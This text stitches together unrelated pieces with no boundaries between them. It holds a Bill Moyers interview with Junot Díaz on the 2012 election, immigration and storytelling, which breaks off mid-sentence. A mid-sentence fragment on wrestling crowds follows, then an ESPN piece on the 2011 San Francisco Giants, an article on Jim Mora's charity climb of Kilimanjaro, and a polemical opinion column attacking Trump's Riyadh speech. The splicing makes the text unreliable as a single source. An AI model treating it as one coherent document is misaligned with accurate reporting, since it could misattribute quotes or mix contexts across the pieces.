JUNOT DÍAZ: Whew, it was bananas watching that election. But I think probably the thing that comes out most forcefully after the election is how little people were expecting the voting, the sort of, the electoral body that made Obama's victory possible. I mean, I think there was, no one was talking about the sort of numbers that showed up for Obama. No one was predicting the diversity of the vote. No one was predicting that sort of the Republican strategy for securing a Romney victory would come to grief so kind of spectacularly. I mean, I'm telling you. Even the communities who came out to vote, I think, were shocked by their own numbers and by their own power. I mean, when you look at the Cuban community in Florida, a community that has historically voted super conservative and suddenly see an entirely new generation voting, and you see those numbers that they put up for Obama. It was extraordinary. And I think that a lot of folks have very poor sense of what's happening in this country on the ground. I mean, they're kind of all the way up here, whether it's age, class, institutional divisions. And they don't really have a real kind of panoramic or even a deep view of the real sort of granular shifts that have occurred in this country, that have been occurring.
I think the plot is that there is an enormous gap between the way the country presents itself and imagines itself and projects itself and the reality of this country. Whether we're talking about the Latino community in North Carolina. Whether we're talking about a very active and I think in some ways very out queer community across the United States. Or whether we're talking about an enormous body of young voters who are either ignored or sort of pandered to or in some ways, you know, kind of distorted, I think that what we're having is a new country emerging that's been in the making for a long time, and that in different regions we've already seen its face. But I think for the first time sort of revealed itself more fully to the entire country.
BILL MOYERS: Are there no honest mirrors reflecting back to us what you just talked about?
JUNOT DÍAZ: Sure. But, you know, you've got to really be interested in that. And sometimes your mindset, you know, doesn't allow you to see it. I mean, how many people do I know who work in a building where every single person who makes that building possible is Latino, you know? And yet, when you ask them, "Do you know any Latinos?" they're like, "Nah, really, the Latino community's growing?" And yet everybody that holds the door, all the way up to the guys who run the mechanical systems in the building. And so, of course, I do think that there's already for some folks that old story that we've been carrying about ourselves that gets reinforced every day in the news and every day on television, in the movies, and even in the culture of books, that old story is tenacious. And it's hard to kind of move that enormous boulder in a new direction.
BILL MOYERS: There are some people, of course, as you know well, who wish the old story were still the story. Bill O'Reilly, for example.
BILL O’REILLY on Fox News: The demographics are changing. It's not a traditional America anymore. And there are 50 percent of the voting public who want stuff. They want things and who is going to give them things? President Obama. He knows it and he ran on it. And whereby 20 years ago President Obama would have been roundly defeated by an establishment candidate like Mitt Romney. The white establishment is now the minority. And the voters, many of them, feel that this economic system is stacked against them and they want stuff.
JUNOT DÍAZ: It's sort of delusional, first of all. I mean, because it's sort of a claim made and then the sort of what the information extracted from that claim. Yes, I agree that the majority, the plurality of voters in this country think the economic system is stacked against them. But I don't think that they therefore turn around and say, "We want stuff." I think what they say is, "And the Republican Party is part of the reason the economic system's stacked against us." But, you know, the larger claim, the larger sort of statement is certainly there is this panicked, wounded, astonished, nostalgic longing for an America, a white, conservative America, that in many ways never was. Never, never really was. And so it's sort of sad to see, you know, someone like O’Reilly. You know, that moment where he can't confront what's really happened. And he tries to explain it away in this really weird, welfare story that, I think, doesn't do justice to who came out and voted.
BILL MOYERS: I like Stephen Colbert's response to Bill O'Reilly's lament.
STEPHEN COLBERT on The Colbert Report: Folks, papa bear Bill O’Reilly is right. The white establishment, guys like us, we’re the minority now. And we’re helpless against this tide of non-white people who want stuff and things. They’re the thing-stuff-wanters. Whereas the traditional white people of any race, we don’t want things. We have things. Okay?
JUNOT DÍAZ: Oh, but he's great. I mean, you know, he gives us a great little counter story. But again, I mean, you know, I would argue that a good majority of America white folks don't got a lot of things, man. I mean, listen, this sort of economic madness that's been occurring the last 20 years means that there's a lot more losers than there are winners.
BILL MOYERS: I was taken with something you said recently in a speech a week or so after the election.
JUNOT DÍAZ at Facing Race conference: No matter how you feel about electoral politics and I for one am not a great fan, the fact that people of color communities did what they did in the face of insanely driven, absurdly mendacious, fantastically resourced white male opposition was not only unprecedented, frankly it shocked the shit out of nearly everyone.
JUNOT DÍAZ: I've never seen people look so slapped before. I mean, never seen people look so slapped before. Because, you know, they were crunching their numbers. And they thought they had all those darn states. And, you know, I was on a book tour. And I went to 20 something different states throughout that election. And I'm not an expert. And I wasn't taking polls. But I wasn't seeing what they were saying. I was hearing for the first time a kind of unconscious coordination, where I was actually running into kids who were normally real conservative, you know, come from conservative communities. I remember when I was in Miami. And there were all these young Cuban kids, who were like, "Yeah, I'm voting for Obama, because Romney sounds nuts to me." And it was the first time I ever heard people talk like that.
BILL MOYERS: What was happening to those kids? What was happening to bring about that change on their part?
JUNOT DÍAZ: Listen, I think one of the things that's real strange, and you see it for when I see it with my kids, is that they have entire networks of communications and entire networks of sort of joining up with each other and talking that I think allude folks like me and older. I mean, I'm not on Tumblr every darn day. I'm not. I don't have Instagram. I don't get on any of these networks my kids are on. There's all this movement and information that's passing and that is sort of slipping past what we would call the mainstream radar.
My kids, my students, they understand that there's these kind of two worlds. That there's the official world, or the official world that they'll go work and the official world where they'll talk to adults. And in that official world, folks don't talk about race. Folks don't talk about rape. Folks don't, you know, acknowledge how much young people are doing or what they're doing. Folks don't talk about how many gay folks are out there. Folks don't talk about how Iowa's got all these Mexican Americans living there. And then there's the world that they live, on the ground, where they're seeing all this stuff right up front. And I think a lot of what's going on is that you're getting communities that are becoming bilingual and speaking real speak (and real speak is the stuff that, you know, we can acknowledge is happening) and speaking the official speak. And in the official speak, we don't acknowledge any of this stuff.
BILL MOYERS: To me, it's code.
JUNOT DÍAZ: No, no, it's code, but it's also negation. Because, I mean, part of what you're seeing with the sort of Republican madness is that what they want to do is they want to put that story back. They want to push it back. They want to negate it. They want to erase it. And I think when you speak the official code is part of it is erasing. "You want to not talk about this, not talk about that, not talk about this. Let's just talk about the old thing. And if you talk about anything new, I'm going to get real mad at you." And my kids have learned to be like, "I'll talk about this stuff among my friends. And when I come up to the official language, I'll just not bring it up."
BILL MOYERS: How long have you been teaching?
JUNOT DÍAZ: Almost 20 years at a university level, yeah, almost 20 years.
BILL MOYERS: Have you seen a change in the kids since then?
JUNOT DÍAZ: Well, I mean, one of the things I've seen and plenty of people talk about it is the sort of way that economic forces have saturated education. I mean, my kids sound more, all of them, like business majors more than they sound like students. The idea was you went to college so that some sort of educational experience would transform you. The majority of my kids act like they're in medieval guilds. And that when they finish the four years, they'll be given a piece of paper that allows them to enter into the economic sort of circuits. And I think that's real weird. 'Cause when I went to college, you know, we knew college was going to help us for a job, but there was that belief and the idea that education was just good for you. It was part of being a citizen. It was part of transforming into being an adult.
BILL MOYERS: So do they, if they see themselves as economic man or economic woman, do they see themselves also, simultaneously, as Cuban American or Asian American economic person? Do they think that bifurcated way? Do they see themselves with the hyphens?
JUNOT DÍAZ: You'd be amazed how many of my kids, if you phrase the question a certain way they're like, "Oh, I don't think about that stuff at all." And you'll be like, "Hey, do you guys," I'll go to my gay kids. I'll be like, "Do you guy think of yourselves as gay voters?" They're like, "Are you crazy? No." And then you ask the question a completely different way. You know, you'll be like, "You know, this guy's kind of antigay." And they're like, "Yeah, man, I know he's antigay. And I'm not going to vote for him for that." And you suddenly realize that there's these, the way that these sort of identities are composed is far more nuanced often than the brute questioning and the sort of crude interrogation techniques we use to kind of get at them.
BILL MOYERS: So what do you teach?
JUNOT DÍAZ: I teach in two areas. I teach sort of the arts area, where I teach creative writing. And then I teach in the more critical area, where I'll teach classes like Apocalyptic Narrative in American Culture, History and Ancestry in African Diasporic Writings. Classes like the New Bildungsroman. And so, you know, you get the two sides. You kind of brain the kids up. And then the other way, you sort of get them to know about how they could be more creative, what creativity actually will do for you.
BILL MOYERS: What are you going to require them to read come February?
JUNOT DÍAZ: First book they're reading, like, right off the bat is H.G. Wells' “War of the Worlds.”
BILL MOYERS: Why?
JUNOT DÍAZ: Well, because it's kind of a great book about sort of the empire imagining its own end. How, like, someone who's at the center of the world, who spent all their time sending metal ships out to conquer people suddenly having metal ships sent to them to conquer them. It's sort of an interesting, both a historical and a creative piece of work. Like, in 1895, you could have aliens come and take the British Empire. On the other hand, saying, "The British Empire might be limited, the British Empire might end" in kind of a standard discourse, I think would have been rejected roundly in that place and time.
BILL MOYERS: What truth can you reach with fantasy and mythology that you can't get to as the historian you wanted to be or the journalist that I am or try to be?
JUNOT DÍAZ: Well, I think one thing for sure is that when we think about the strategy of realism, I mean, realism is a strategy. Realism doesn't always do a great job of describing what we would call "extreme realities" or "extreme lives." So, for example, immigration. We think of immigration in simplistic terms. But really immigration sometimes is hard to get your mind around.
How do you describe someone waking up in the morning in a house has no electricity, no running water. They don't have any television. They only speak one language. The only people they've ever met are Dominicans. And by that evening, being the center of New York City having cable, lights, electricity. Chinese guy upstairs. Right next door a Korean person. Downstairs somebody from Uruguay. The folks who are on the television, talking about all sorts of crazy stuff.
I mean, sure, realism might try to approach that. But in my mind, when I was a kid, when I read about time travel. Time travel felt like a much more honest description, to me, of what that meant, being transported from Santo Domingo '74 to New York and New Jersey in '74. That was far more honest to the experience than anything I could have written realistically.
BILL MOYERS: At the age of six, you came?
JUNOT DÍAZ: Yeah, yeah. Yeah, and for a young mind, I mean, it's an extraordinary leap. It's an extraordinary leap. And I think science fiction, I think fantasy, I think the genres do a wonderful job of describing all parts of, many parts of our society that realism doesn't do a great job of describing.
BILL MOYERS: Didn't you say somewhere that “Star Wars”, the “Star Wars” stories, you couldn't have a better framework for dramatic analysis or storytelling than “Star Wars”?
JUNOT DÍAZ: Sure, either, I mean, I love to teach those as structures. They're, like, great, great structures for sort of teaching my students how drama can work, especially how drama can work in a film.
BILL MOYERS: How so?
JUNOT DÍAZ: Well, I mean, first, you think about the three movies. Again, the first, the original three movies. And when we think about the way that they're organized together. And, you know, there's always in any movie or in every book, not always, but traditionally, there's a place where the character, the main protagonist has to make an absolutely important choice. And that choice will set the consequences and will set in many ways the terms of the rest of the movie, and occasionally, the rest of his character's life. And what's interesting about the first three “Star Wars” movies is that if you look at them, where the character makes the choice is sort of structurally perfect. In the first movie, Luke makes the choice that he's going to go follow Ben Kenobi to sort of pursue a lifetime in the force, to become a Jedi. He makes that choice in the first third of the movie.
BEN KENOBI in Star Wars: A New Hope: You must learn the ways of the Force, if you are to come with me to Alderaan.
LUKE SKYWALKER in Star Wars: A New Hope: Alderaan? I’m not going to Alderaan, I’ve got to get home, it’s late, I’m in for it as it is!
BEN KENOBI in Star Wars: A New Hope: I need your help Luke.
JUNOT DÍAZ: The second movie, Luke makes the big choice that he's going to abandon his training and go try to rescue his friends, exactly dead in the middle.
MASTER YODA in Star Wars: The Empire Strikes Back: Luke. You must complete the training.
LUKE SKYWALKER in Star Wars: The Empire Strikes Back: I can’t keep the vision out of my head, they’re my friends I’ve got to help them.
MASTER YODA in Star Wars: The Empire Strikes Back: You must not go.
LUKE SKYWALKER in Star Wars: The Empire Strikes Back: But Han and Leia will die if I don’t.
JUNOT DÍAZ: The third movie, he makes the choice that he's not going to kill his father, the choice that the three movies have been leading up. And he makes it at the end. And there's this beautiful progressive symmetry, first third, half, final third. And the movies work elegantly. And these are the kind of hidden structures that allow dramas like these to hang together, even if someone doesn't recognize them happening. A part of your brain enjoys that beauty.
BILL MOYERS: Do those fictional moments that Lucas and his team put in there say something about reality?
JUNOT DÍAZ: Well, no question. I mean, listen, part of what makes-- if “Star Wars” was just nonsense, if it was just gibberish, it wouldn't hang as tight as it hangs. “Star Wars” has hung around a really long time. And there isn't a young person who hasn't felt the choice between, "I'm going to stay and help my family" or "I'm going to go and do something else that's more personal, that's more me." You know? And I think what makes something like “Star Wars”, the first movie, I think in many ways poignant and still reaches people is you get a character who desperately wants to leave, desperately wants to leave this little farm.
But you know what he decides when he's given the choice? He's like, "You know what? My aunt and uncle need me. It's an ethical thing. Even though I desperately want to go be a pilot, I'm going to stay here and help them." And that choice he makes follows him through the rest of the movies. The fact that he's more loyal than he is ambitious. And that loyalty is something that many of us as kids, you know, we're not always encouraged to be. And you watch those movies. You see somebody being loyal, really loyal, making a hard choice. I'm going to stay at home and work on a farm rather than be a star pilot. Well, that seems like a real serious and a real thing to me.
BILL MOYERS: Did you have to make that choice?
JUNOT DÍAZ: Certainly.
BILL MOYERS: When?
JUNOT DÍAZ: Well, I mean, I thought about, you know, I thought about my sort of sense of what I was going to be with my family, who I was going to be. Was I going to do something that would remove me entirely from my family? I mean, as an immigrant, coming from a kind of a community I did, it would have been easy for me to have picked a profession and to have lived in a direction that would have separated me from my community, would have meant that I had very little contact, maybe on holidays. That I could simply say, "Look, I've transcended. I'm now an American. All that Dominicaness, Dominican stuff doesn't mean anything to me." And the harder choice was to stay home and, I mean by "home" stay inside this community and try to help a community that always, doesn't always get help. Isn't always recognized. Doesn't always get beauty.
And it's actually, it's a difficult place sometimes to do work. America is a great temptation. America is out there. And in America, I could be fully American and not think about all that crazy immigrant stuff. And I made a choice that I thought, "Hey, I love my community. And, you know, I've got this place of privilege. And maybe I'll stick around and help."
BILL MOYERS: What did you see in writing that would fulfill your own sense of yourself?
JUNOT DÍAZ: Well, it's a good question. I think, when I think--
BILL MOYERS: I don't know how you do it. Because you take a long time to write. There must be periods of isolation and solitude.
JUNOT DÍAZ: Long ones, yeah, of course. Of course. Part of it is, listen, to write a book. A friend of mine once said this famously. And I think it's very true. To write a book, in the process of writing, you have to become the person you need to become to finish that book. And so when you write a book, you yourself have to be transformed in the process of writing it. And that can take a while, man. Especially if you're serious about the transformation. That could take a while. Each of my books have demanded in me an extra bit of humanity that I never had. And to make yourself more human, to make yourself more humane isn't-- a week project. Sometimes that takes a couple of years, man.
BILL MOYERS: What do we mean by that term, "to make myself more humane, to make myself more human"?
JUNOT DÍAZ: Well, for example, right, I wasn't exactly taught to be my, and I'm talking about my own self. I wasn't taught to think about Dominican nerds, to think about nerds in New Jersey, as the center of our story. I didn't think of them as the great heroes of whether I'm talking about the New Jersey story or the story of the Dominican Republic or the American story. I didn't think of that. I always thought of them as an object of ridicule, something you made fun of. For me, I had to learn and really in my heart integrate the idea that folks outside of the formula are, in fact, the center of the formula, that a nerd like my character Oscar in my novel “The Brief Wondrous Life of Oscar Wao,” he is the heart of all our stories. But I had to actually believe it. And sometimes that's a journey, man, when you grow up being told that that's the kind of boy you should never be. Then to write about that boy, to write with great compassion, to write with love, to be critical without being cruel, hey man, not all of us get that immediately off the bat and had to learn those things to be able to write Oscar.
BILL MOYERS: So you had to imagine yourself as this fat Dominican boy who loves and is fascinated by fantasy and mythology and fiction?
JUNOT DÍAZ: And to be compassionate for the parts of him and the parts of me that the parts of him awakened. I mean, compassion, sympathy, these things are important. And sometimes they don't |
Gold Dust Trio took wrestling up off the mat and started scripting it, they invited fans into the process. From that point forward a hero was a hero only if he was getting cheers from the crowd, while a villain was a villain only if he got booed. As Triple H said when I interviewed him, WWE has a focus group every night, and the crowd tells the company what it’s doing right. Seattle’s “12th Man” is such a big deal in the NFL because so few crowds can affect the game. In wrestling, the crowd doesn’t just affect the action — it’s an equal partner in the process.
I guess to call wrestling’s crowd the 12th Man is a little silly — really, there’s the babyface and the heel and the audience. We’re the Third Man. And apologies in advance for the digression, but I can’t see those words and not think of that great Orson Welles ad lib from the 1949 movie. “In Italy, for 30 years under the Borgias, they had warfare, terror, murder, and bloodshed, but they produced Michelangelo, Leonardo da Vinci, and the Renaissance. In Switzerland, they had brotherly love, they had 500 years of democracy and peace — and what did that produce? The cuckoo clock.” The lesson is that beauty comes from chaos.
At Texas A&M, the putative originator of football’s 12th Man concept, there’s a saying: “When the team scores, everybody scores.” I think that’s an apt motto for pro wrestling. Fans don’t cheer or boo or chant just because they can. They do it because, like the 12th Man, they want to change the outcome. On Monday, the WWE crowd clearly felt like they had scored.The San Francisco Giants were Major League Baseball's happy guerrilla warriors on their way to a surprise World Series victory in 2010. Now the Kardashians have a better chance of sneaking up on people. A camera crew is trailing manager Bruce Bochy's team through clubhouses, airports and hotel lobbies across America in conjunction with a Showtime reality series, and closer Brian Wilson's beard is getting so big, it has its own mailing address.
But some things never change. When the Giants get backed into a corner, they scratch, claw and pitch their way out of it. They also subscribe to the old bromide about never sweating the little things. They've just added a twist by rarely sweating the big things, either.
"When you have a pitching staff like we have, you're not going to fret too much, because you know the chances of the other team scoring more than three runs in a game is under 50-50," outfielder Aaron Rowand said.
Actually, opponents have surpassed three runs against San Francisco's staff in 46 of 109 games this season, so the probability is closer to 42-58.
It has been a challenging season for the defending champs. They lost their catcher and cleanup hitter, Buster Posey, to a home-plate collision in late May, and they lead the majors in guys named Sanchez on the disabled list. Jonathan, the pitcher, is rehabbing from a biceps injury and is expected to return to the starting rotation later this week. Freddy, the second baseman, was scheduled to undergo season-ending shoulder surgery Tuesday.
The Giants rank 29th in the major leagues in runs, 28th in on-base percentage and 27th in slugging percentage and batting average. They have a worse run differential than the Toronto Blue Jays and New York Mets. Posey's replacements are fine defensively, but they don't hit a lot, and the Giants tried Miguel Tejada, Mike Fontenot and rookie Brandon Crawford at the shortstop position before turning to Orlando Cabrera, who has played for nine major league organizations. So much for stability up the middle.
Last week general manager Brian Sabean made the boldest trade deadline move this side of Cleveland, sending top pitching prospect Zack Wheeler to the Mets for two months' worth of All-Star Carlos Beltran. The Giants were hailed as world-beaters -- but have since dropped four of five.
So how the heck is Bochy's squad 61-48 and leading the National League West? The Giants have a 28-14 record in one-run games, and they're sixth in the majors in Baseball Prospectus' team defensive efficiency rankings. They're also 32-19 at home, even though they've been outscored by seven runs at AT&T Park.
Shutdown starting pitching? Check. Airtight bullpen? Check. Solid glove work? Check. A fighting mentality based on the premise that all setbacks are temporary, and rooted in the belief that a committed whole can be greater than the sum of its parts? Double check.
"They're unique to their park," a National League scout said of the Giants. "They battle it out. Their bullpen is really tough. Their manager makes good decisions. They're prepared. When you play close games all the time, you get used to playing close games. When they lost Posey, I didn't think they would be as good. But gosh, they're still hanging in there."
The Giants failed to get over the top when Barry Bonds was making all those waves, both literally and figuratively, at McCovey Cove. But a team bereft of position-player stars threw everyone for a loop last season by winning the franchise's first title since 1954. Can the Giants outlast the Phillies, Braves and suddenly hot Brewers, capture a pennant and become baseball's first repeat champion since the Yankees won three straight titles from 1998 through 2000? Try telling them they can't.
"They do seem to have the 'it' factor," an NL executive said. "They're a team that knows how to win these close games, especially late. Their at-bats get a little better. All of a sudden Cody Ross is a tougher out. Andres Torres is a tougher out. And Nate Schierholtz. And then you just don't score against them. Being tied against the Giants late in the game is not a good spot to be in.
"Is there this magic dust around them? I don't totally believe it. But I don't totally not believe it, either."
The Giants are averaging 2.2 runs per game since Carlos Beltran's arrival. Jason O. Watson/US Presswire
Last year the Giants went 18-8 in September to overtake San Diego and win the division. This year they're getting a spirited push from Kirk Gibson and the Arizona Diamondbacks, who fortified their pitching staff at the deadline with trades for Jason Marquis and Brad Ziegler. With a 5-2 victory over Matt Cain on Monday night, the Diamondbacks cut the Giants' division lead to one game -- the smallest it's been since the All-Star break.
Sabean went for broke by trading Wheeler, a potential No. 1 starter, for Beltran, the most accomplished bat available at the July non-waiver deadline. Beltran wears a brace on his right knee that's so bulky, he rototills the outfield turf when he lands awkwardly. But he's tied for the National League lead with 30 doubles and ranks 12th in the NL with an OPS of.883. He is also used to playing in a spacious yard at Citi Field in New York, so he's conditioned not to sulk when hard-hit balls die at the warning track.
The Giants are hoping that Beltran takes some pressure off Pablo Sandoval and Aubrey Huff in the middle of the order. He's already trying to pass along some tips to Sandoval, a fellow switch-hitter.
"I would love him to focus on hitting the ball a little more to [the opposite] field," Beltran said. "When you have pop like he does, you can get caught up in trying to pull a lot of balls. If he stays in the middle of the field, he's going to do a lot of damage."
Sabean made the Beltran trade in part out of a sense of obligation to history. When he turned the corner on Montgomery Street and saw the sea of awestruck fans at the World Series parade in November, things forever changed, and a little voice inside him rebelled at the idea of failing to give it his best shot.
But camaraderie is a funny thing, and it's natural to wonder how the reserved and stylish Beltran will blend in a clubhouse filled with self-described "castoffs" and "misfits."
"Does he really fit the Giants' style as a rebellious, grinding type of team?" the NL executive said. "Maybe it's not a great fit personality-wise. But when you're in go-for-it mode, you have to take care of the present and try to win. He's still a great player."
The Giants have their marquee names in Tim Lincecum, Beltran and Wilson and to a lesser extent Cain and Sandoval, the lovable Panda. But if you're looking for a segment of the roster that embodies what this team is about, it might be the middle-relief corps. Sergio Romo has a 51-to-4 strikeout-to-walk ratio and a WHIP of 0.64. Lefties are hitting.118 (8-for-68) against Javier Lopez. Santiago Casilla, Ramon Ramirez and Jeremy Affeldt also are big contributors, even if few people outside the 415 area code have the slightest idea who they are.
"Those guys don't get the press they deserve," Lincecum said, "but I don't think they're in it for the press. They're in it to help us achieve something that doesn't happen very often -- and that's get back to the playoffs and hopefully win another World Series."
For want of a better term, the Giants are old-school. Sabean runs his front office like a mom-and-pop operation, with a few close advisers whom he listens to and trusts implicitly. When Willie Mays is a clubhouse fixture in spring training and Will Clark and J.T. Snow keep showing up around the batting cage, it's hard to ignore the franchise's glory days.
Former Giants shortstop Shawon Dunston, a spring training instructor with the organization, showed up during the team's last road trip and gave his take on the factors that make the Giants go. Dunston talked about Sabean's penchant for dealing with players honestly, and Bochy's disdain for excuses, and Wilson's amazing workout regimen, and the look of resignation in opposing players' eyes when Lincecum, Cain and the other San Francisco pitchers are on their games. But there's more to the Giants' success than pitching.
"I've played with a lot of people, and some guys have a lot of mouth," Dunston said. "But these guys really come to play, and they're gonna go out there and give it to you. They're not scared."
The Giants put their fearlessness on display for the baseball world to see this past October. This year they've gone from misfits to marked men, and now it's time to see whether they can survive the competition and their own abundant shortcomings for another deep postseason run.
It's not going to be easy. But they're the Giants, after all. Nobody said it would be easy.
Jerry Crasnick is a senior writer for ESPN.com. Click here to purchase a copy of his book, "License to Deal," published by Rodale. Crasnick can be reached via email.
Follow Jerry Crasnick on Twitter: @jcrasnickFor Jim Mora, climbing Mount Kilimanjaro was the easy part. It was everything else involving his six-day, 50-mile trek up the world’s highest free-standing mountain that was so overwhelming.
The UCLA head coach was part of “Conquering Kili,” a mission created by NFL star Chris Long’s Waterboys foundation to raise money to build clean water wells in East Africa. Each year, this mission includes military combat veterans and former NFL players. This year, the group consisted of 14 members, and at 55, Mora was the oldest one.
He ended up on the trip thanks to his college buddy Mark Pattison, a former Saints wideout trying to become the first NFL player to climb the Seven Summits (the highest peaks on each continent). Pattison suggested Mora to former Green Beret and ex-Seattle Seahawks long snapper Nate Boyer, who works with Waterboys. Mora later said yes when his pal told him about the idea, even though the coach was the middle of recruiting and trying to hire some new staffers. Mora admits he didn’t quite grasp the mission and what he was getting involved with until he watched a video about Long’s charity.
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Truth be told, Mora truly didn’t get it until his first day in Africa, when he was in the Serengeti, met the people and visited one of the water well sites.
Chris Long
“The most important part of this trip is the wells,” Boyer said. “It’s like a big celebration when you come visit. No longer does one of the young girls’ daily duty have to be to walk five miles to go collect dirty water for her family.
“Jim saw the impact the wells have on these people, and he said, ‘Man, I’m all in with this thing.’”
Wednesday is World Water Day, a UN-designated day that aims to raise global awareness about water issues, like how 1.8 billion people still use a drinking water source that is contaminated with fecal matter, according to the World Health Organization. The Waterboys’ Conquering Kili mission and projects like it have been vital in helping raise money and awareness for the need to increase access to clean water.
Boyer joined the Waterboys initiative in 2015, a few months after Long launched it. Long called the day after Boyer got cut from the Seahawks and told him how he’d been following his story. Long knew that Boyer had done relief work building camps for refugees in Darfur before his military service and how he’d walked on at Texas.
Nate Boyer Matthew Emmons-USA TODAY Sports
“I don’t even know what I’m asking for,” Long told him, “but I just want you to be an ambassador for us.” A few days later Boyer noted the “Kilimanjaro” option on the stairclimber and it triggered the idea for Conquering Kili and raising money for water wells and wounded warriors.
“The clean water crisis demands that we act now,” said Long. “It is a global issue, that we will be forced to face head on in the near future if we do not take action. Clean water is also one of the most efficient, trackable ways to change our world for the better. It ultimately saves lives and completely transforms communities. Waterboys aims to do what is necessary to chip away at the problem, while educating Americans on why it is important.
“Conquering Kili is a unique opportunity for football players, so used to being leaders, to take on the role of a follower. We get the opportunity to learn from our service men and women, to be inspired by our veterans. In the process, we all benefit from the teamwork and the bond that we share on that mountain. The veteran community are not just heroes, they’re also instrumental in assuming a leadership role in service projects like (these). They know what it means to change the world, to serve and specifically to serve the third world as well as anyone.”
Jim Mora Russ Isabella-USA TODAY Sports/Russell Isabella
*****
Hiking up Mount Kilimanjaro wasn’t the first time Mora has climbed a mountain. In 2009, he and NFL commissioner Roger Goodell climbed Mount Rainier and raised a hundreds of thousands of dollars for the United Way.
“Jim’s in incredible shape,” Boyer said. “As far as the readings (in terms of oxygen saturation and resting heart rate) go, he was in the best shape of all of us.”
On Monday morning, Mora sits on the couch in his office five days after returning from the 30-hour trip to Tanzania, scanning for one specific photo from the 600-plus pictures on his computer. Every other shot, though, seems to stop him, sending the football coach down a different emotional path.
Like this one. This is a picture of Marine Sgt. Kirstie Ennis, the first female above-the-knee amputee to ever summit Kilimanjaro, talking with dozens of little children from the community, all looking so mesmerized with her blonde ponytail. Mora also has another shot of Ennis summiting and talks about how choked up he got witnessing the moment.
“And when I watch the video of it, I still get choked up,” he says. “Here’s this woman without a leg who is at 19,000 feet on her own. She probably did 10,000 dips and 10,000 one-legged lunges to get up that damn mountain.”
Or another picture of retired Army major Ivan Castro, who’d lost his sight in Afghanistan. At 16,000 feet, Mora says Castro lost his guide after he started getting pulmonary edema and had to come back down the mountain, so former NFL players Luis Castillo and Nick Hardwick took over.
“Ivan’s legs are beat to (heck) because that mountain is a damn volcano and you’re hitting all these rocks,” Mora says. “It’s not like there’s a clear path and now all of a sudden he has to trust someone else. The courage to take the steps in the dark and trust these guys was overwhelming to see.”
Or this one, of Boyer, hanging the dog tags and wings of his best friend, the late Master Sergeant Brad Keys on the sign at the summit commemorating Africa’s highest peak (19,341 feet).
Or this one, with a long pipe coming out of the ground, with villagers circled around it, celebrating the new water well that will change hundreds of lives in the area.
There are also pictures of vultures, gazelles, monkeys and lots of zebras. Mora actually doesn’t have many photos of himself from the trip. Usually he was the one snapping the pictures, not posing for them. When Mora reached the top of Kilimanjaro, he brought a Bruins jersey and a flag honoring the late Nick Pasquale, one of his most inspirational players at UCLA.
*****
As Mora begins to tell a story from his trip to Africa, he looks at the cup of coffee in his hand.
“Water is something that’s a lot more than just something to drink,” he says. “It’s life. It’s cooking. It’s cleaning. It’s bathing. It’s also the ability for kids to stay in school rather than spending a big part of their day trying to find water for their families.”
Those trips to find water bring other detriments too. Spending so much time fetching water can affect educational opportunities, UNICEF says. The absence of clean water helps diseases flourish. Young girls are also at risk of being sexually assaulted on their journeys.
“If you have any type of empathy for people, you just think, ‘This isn’t right,’” Mora says, “no matter what the culture, no matter what the history is. And you want to do anything you can to help.”
Initially, the goal for Mora and Pattison was to raise $25,000, but when the UCLA coach went into money-raising mode, they blew past that.
Courtesy Jim Mora/Waterboys
Once Boyer told Mora that it costs $45,000 to pay for each well, which can potentially serve up to 5,700 people for 20 years, he had a new goal.
“I was like, ‘OK, I need to put my own well in,’ and I’m now four grand away,” Mora says, adding that he feels very lucky to have the platform he has and feels compelled to capitalize on that interest for such causes.
Mora kept a journal on the trip. He said the experience has reminded him to be patient, calling it perspective-changing.
“We live in a bubble and we’re so entitled,” he says. “I coach a lot of young men who come from really disadvantaged backgrounds. Yet in comparison to what these people have, I don’t have one kid who comes from a ‘disadvantaged background.’ They have challenges. But no matter how disadvantaged we think we are, we’re not.”
One of the people Mora met in Africa was Martin Kress, the executive director of the Global Water Institute at Ohio State. They discussed Mora and Buckeyes coach Urban Meyer coming back to Africa next year with perhaps a dozen of their players.
“Jim brought a ton to the table,” Boyer said. “He went the extra mile, not just on the mountain.”
If you’re interested in donating to help bring clean water wells for communities in Tanzania, click here.Dan Glazebrook is a freelance political writer who has written for RT, Counterpunch, Z magazine, the Morning Star, the Guardian, the New Statesman, the Independent and Middle East Eye, amongst others. His first book “Divide and Ruin: The West’s Imperial Strategy in an Age of Crisis” was published by Liberation Media in October 2013. It featured a collection of articles written from 2009 onwards examining the links between economic collapse, the rise of the BRICS, war on Libya and Syria and 'austerity'. He is currently researching a book on US-British use of sectarian death squads against independent states and movements from Northern Ireland and Central America in the 1970s and 80s to the Middle East and Africa today.
Qatar hasn’t been playing ball with the US-approved, Saudi-led ‘isolate Iran’ program. Partly because Doha has made independence from Riyadh a hallmark of its foreign policy, but mostly because Qatar and Iran share the world's largest natural gas field.
US President Donald Trump’s speech to the assembled Gulf leaders in Saudi Arabia on May 21 is worth reading in full. It is deeply disturbing.
Having praised himself for his $110 billion arms deal with the Saudis, he goes on to talk about the threat posed by terrorism, and what a wonderful job the US and the Gulfies – that is, the leading state sponsor of the region's supremacist death squads and its assembled proxies – are doing in combating it. He then goes on to claim that at the root of the region's terrorism lurks… guess who? The power leading the regional pushback against Islamic State (IS, formerly ISIS) and Al-Qaeda: Iran.
“Starving terrorists of their territory, their funding, and the false allure of their craven ideology, will be the basis for defeating them,” he says. “But no discussion of stamping out this threat would be complete without mentioning the government that gives terrorists all three — safe harbor, financial backing and the social standing needed for recruitment.”
This is pretty much exactly how Joe Biden – in his own attempt to whitewash US involvement – described Trump's Saudi hosts three years earlier. But Trump is not talking about IS's Saudi backers; he is talking about Iran – the same Iran responsible, with its Syrian and Russian allies, for that fact that the IS flag is not today flying over Damascus.
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It gets worse. Look at the following passage, just after he calls on “all nations of conscience to work together to isolate Iran.”
“If we do not confront this deadly terror, we know what the future will bring—more suffering and despair. But if we act—if we leave this magnificent room unified and determined to do what it takes to destroy the terror that threatens the world—then there is no limit to the great future our citizens will have,” he said.
“The birthplace of civilization is waiting to begin a new renaissance. Just imagine what tomorrow could bring. Glorious wonders of science, art, medicine and commerce to inspire humankind. Great cities built on the ruins of shattered towns. New jobs and industries that will lift up millions of people."
This is the language of genocide. Heroism and genocide have always gone hand-in-hand in the settler-colonial ideology internalized by the likes of Trump, for which ‘building great cities on the ruins of shattered towns’, be they Native American, Palestinian or, it seems, Iranian, has always been the highest accolade.
